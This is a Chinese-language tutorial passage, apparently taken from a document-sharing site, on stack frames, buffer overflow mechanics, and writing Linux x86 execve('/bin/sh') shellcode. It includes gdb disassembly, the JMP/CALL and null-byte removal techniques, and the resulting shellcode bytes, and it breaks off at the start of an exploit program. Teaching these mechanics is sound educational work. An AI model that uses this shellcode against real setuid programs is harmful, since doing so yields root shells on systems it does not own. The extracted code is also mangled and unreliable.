Buffer Overflow 机理剖析一Word文档下载推荐.docx
《Buffer Overflow 机理剖析一Word文档下载推荐.docx》由会员分享,可在线阅读,更多相关《Buffer Overflow 机理剖析一Word文档下载推荐.docx(25页珍藏版)》请在冰点文库上搜索。
栈帧的结构:
下面我们通过一个简单的例子来分析一下栈帧的结构.
voidproc(inti)
{
intlocal;
local=i;
}
voidmain()
{
proc
(1);
这段代码经过编译器后编译为:
(以PC为例)
main:
push 1
call proc
...
proc:
push ebp
mov ebp,esp
sub esp,4
mov eax,[ebp+08]
mov [ebp-4],eax
add esp,4
pop ebp
ret 4
下面我们分析一下这段代码.
push1
callproc
首先,将调用要用到的参数1压入堆栈,然后callproc
pushebp
movebp,esp
我们知道esp指向堆栈的顶端,在函数调用时,各个参数和局部变量在堆栈中的位置只和esp有关系,如可通过[esp+4]存取参数1.但随着程序的运行,堆栈中放入了新的数据,esp也随之变化,这时就不能在通过[esp+4]来存取1了.因此,为了便于参数和变量的存取,编译器又引入了一个基址寄存器ebp,首先将ebp的原值存入堆栈,然后将esp的值赋给ebp,这样以后就可以一直使用[ebp+8]来存取参数1了.
subesp,4
将esp减4,留出一个int的位置给局部变量local使用,local可通过[ebp-4]来存取
mov[ebp-4],eax
就是local=i;
addesp,4
popebp
ret4
首先esp加4,收回局部变量的空间,然后popebp,恢复ebp原值,最后ret4,从堆栈中取得返回地址,将EIP改为这个地址,并且将esp加4,收回参数所占的空间.不难看出,这个程序在执行proc过程时,栈帧的结构如下:
4 4 4 4
[local] [ebp] [ret地址] [参数1] 内存高端
| |
esp(栈顶)ebp
因此,我们可以总结出一般栈帧的结构:
..[local1][local2]..[localn][ebp][ret地址][参数1][参数2]..[参数n]
| |
esp(栈顶) ebp
了解了栈帧的结构以后,现在我们可以来看一下Bufferoverflow的机理了。
2.BufferOverflow的机理
我们先举一个例子说明一下什么是BufferOverflow:
voidfunction(char*str)
charbuffer[16];
strcpy(buffer,str);
charlarge_string[256];
inti;
for(i=0;
i<
255;
i++)
large_string[i]='
A'
;
function(large_string);
这段程序中就存在BufferOverflow的问题.我们可以看到,传递给function的字符串长度要比buffer大很多,而function没有经过任何长度校验直接用strcpy将长字符串拷入buffer.如果你执行这个程序的话,系统会报告一个SegmentationViolation错误.下面我们就来分析一下为什么会这样?
首先我们看一下未执行strcpy时堆栈中的情况:
16 4 4 4
...[buffer][ebp][ret地址][large_string地址]
| |
esp ebp
当执行strcpy时,程序将256Bytes拷入buffer中,但是buffer只能容纳16Bytes,那么这时会发生什么情况呢?
因为C语言并不进行边界检查,所以结果是buffer后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp,ret地址,large_string地址.因为此时ret地址变成了0x41414141h,所以当过程结束返回时,它将返回到0x41414141h地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报SegmentationViolation.
从上面的例子中不难看出,我们可以通过BufferOverflow来改变在堆栈中存放的过程返回地址,从而改变整个程序的流程,使它转向任何我们想要它去的地方.这就为黑客们提供了可乘之机,最常见的方法是:
在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址,这样当过程返回时,程序就转而开始执行这段我们自编的代码了.一般来说,这段代码都是执行个Shell程序(如\bin\sh),因为这样的话,当我们入侵一个带有BufferOverflow缺陷且具有suid-root属性的程序时,我们会获得一个具有root权限的shell,在这个shell中我们可以干任何事.因此,这段代码一般被称为ShellCode.
下面我们就来看一下如何编写ShellCode.
3.ShellCode的编写
下面是一个创建Shell的C程序shellcode.c:
(本文以IntelX86上的Linux为例说明)
voidmain(){
char*name[2];
name[0]="
/bin/sh"
name[1]=NULL;
execve(name[0],name,NULL);
我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)
------------------------------------------------------------------------------
[aleph1]$gcc-oshellcode-ggdb-staticshellcode.c
[aleph1]$gdbshellcode
GDBisfreesoftwareandyouarewelcometodistributecopiesofit
undercertainconditions;
type"
showcopying"
toseetheconditions.
ThereisabsolutelynowarrantyforGDB;
showwarranty"
for
details.
GDB4.15(i586-unknown-linux),Copyright1995FreeSoftwareFoundation,Inc...
(gdb)disassemblemain
Dumpofassemblercodeforfunctionmain:
0x8000130:
pushl%ebp
0x8000131:
movl%esp,%ebp
0x8000133:
subl$0x8,%esp
0x8000136:
movl$0x80027b8,0xfffffff8(%ebp)
0x800013d:
movl$0x0,0xfffffffc(%ebp)
0x8000144:
pushl$0x0
0x8000146:
leal0xfffffff8(%ebp),%eax
0x8000149:
pushl%eax
0x800014a:
movl0xfffffff8(%ebp),%eax
0x800014d:
0x800014e:
call0x80002bc
0x8000153:
addl$0xc,%esp
0x8000156:
movl%ebp,%esp
0x8000158:
popl%ebp
0x8000159:
ret
Endofassemblerdump.
(gdb)disassemble__execve
Dumpofassemblercodeforfunction__execve:
0x80002bc:
0x80002bd:
0x80002bf:
pushl%ebx
0x80002c0:
movl$0xb,%eax
0x80002c5:
movl0x8(%ebp),%ebx
0x80002c8:
movl0xc(%ebp),%ecx
0x80002cb:
movl0x10(%ebp),%edx
0x80002ce:
int$0x80
0x80002d0:
movl%eax,%edx
0x80002d2:
testl%edx,%edx
0x80002d4:
jnl0x80002e6
0x80002d6:
negl%edx
0x80002d8:
pushl%edx
0x80002d9:
call0x8001a34
0x80002de:
popl%edx
0x80002df:
movl%edx,(%eax)
0x80002e1:
movl$0xffffffff,%eax
0x80002e6:
popl%ebx
0x80002e7:
0x80002e9:
0x80002ea:
0x80002eb:
nop
下面我们来首先来分析一下main代码中每条语句的作用:
0x8000130:
0x8000131:
0x8000133:
这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为:
也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了8个字节的位置.
0x8000136:
这里,将字符串"
的地址放入name[0]的内存单元中,也就是相当于:
0x800013d:
将NULL放入name[1]的内存单元中,也就是相当于:
对execve()的调用从下面开始:
0x8000144:
开始将参数以逆序压入堆栈,第一个是NULL.
0x8000146:
0x8000149:
将name[]的起始地址压入堆栈
0x800014a:
0x800014d:
将字符串"
的地址压入堆栈
0x800014e:
调用execve().call指令首先将EIP压入堆栈
------------------------------------------------------------------------------------
现在我们再来看一下execve()的代码.首先要注意的是,不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同.有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.我们的这个例子是在基于IntelX86的Linux上运行的.所以我们首先应该知道Linux中,系统调用以软中断的方式产生(INT80h),参数是通过寄存器传递给系统的.
0x80002bc:
pushl%ebp
0x80002bd:
0x80002bf:
同样的入口处理
0x80002c0:
将0xb(11)赋给eax,这是execve()在系统中的索引号.
0x80002c5:
的地址赋给ebx
0x80002c8:
将name[]的地址赋给ecx
0x80002cb:
将NULL的地址赋给edx
0x80002ce:
产生系统调用,进入核心态运行.
看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:
lealstring,string_addr
movl$0x0,null_addr
movl$0xb,%eax
movlstring_addr,%ebx
lealstring_addr,%ecx
lealnull_string,%edx
int$0x80
(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)
string db "
0
string_addr dd 0
null_addr dd 0
-------------------------------------------------------------------------------------
但是这段代码中还存在着一个问题,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像:
movlstring_addr,%ebx
这种需要将绝对地址编码进机器语言的指令根本就没法使用.解决这个问题的一个办法就是使用一条额外的JMP和CALL指令.因为这两条指令编码使用的都是相对于IP的偏移地址而不是绝对地址,所以我们可以在ShellCode的最开始加入一条JMP指令,在string前加入一条CALL指令.只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.
经过上面的修改,我们的ShellCode变成了下面的样子:
jmp0x20
poplesi
movb$0x0,0x7(%esi)
movl%esi,0x8(%esi)
movl$0x0,0xC(%esi)
movl%esi,%ebx
leal0x8(%esi),%ecx
leal0xC(%esi),%edx
call-0x25
stringdb"
0
string_addrdd0
null_addr dd0#2bytes,跳转到CALL
#1byte,弹出string地址
#4bytes,将string变为以'
\0'
结尾的字符串
#7bytes
#5bytes
#2bytes
#3bytes
#5bytes,跳转到popl%esi
我们知道C语言中的字符串以'
结尾,strcpy等函数遇到'
就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有'
.
下面我们就对它作最后一次改进,去掉其中的'
:
原指令:
替换为:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl%eax,%eax
movl $0x0,0xc(%esi) movb%eax,0x7(%esi)
movl%eax,0xc(%esi)
movl $0xb,%eax movb$0xb,%al
OK!
现在我们可以试验一下这段ShellCode了.首先我们把它封装为C语言的形式.
__asm__("
jmp0x18 #2bytes
popl%esi #1byte
movl%esi,0x8(%esi) #3bytes
xorl%eax,%eax #2bytes
movb%eax,0x7(%esi) #3bytes
movl%eax,0xc(%esi) #3bytes
movb$0xb,%al #2bytes
movl%esi,%ebx #2bytes
leal0x8(%esi),%ecx #3bytes
leal0xc(%esi),%edx #3bytes
int $0x80 #2bytes
call-0x2d #5bytes
.string\"
/bin/sh\"
#8bytes
"
);
经过编译后,用gdb得到这段汇编语言的机器代码为:
\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xec\xff\xff\xff/bin/sh
现在我们可以写我们的试验程序了:
exploit1.c:
charshellcode[]=
\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
\x8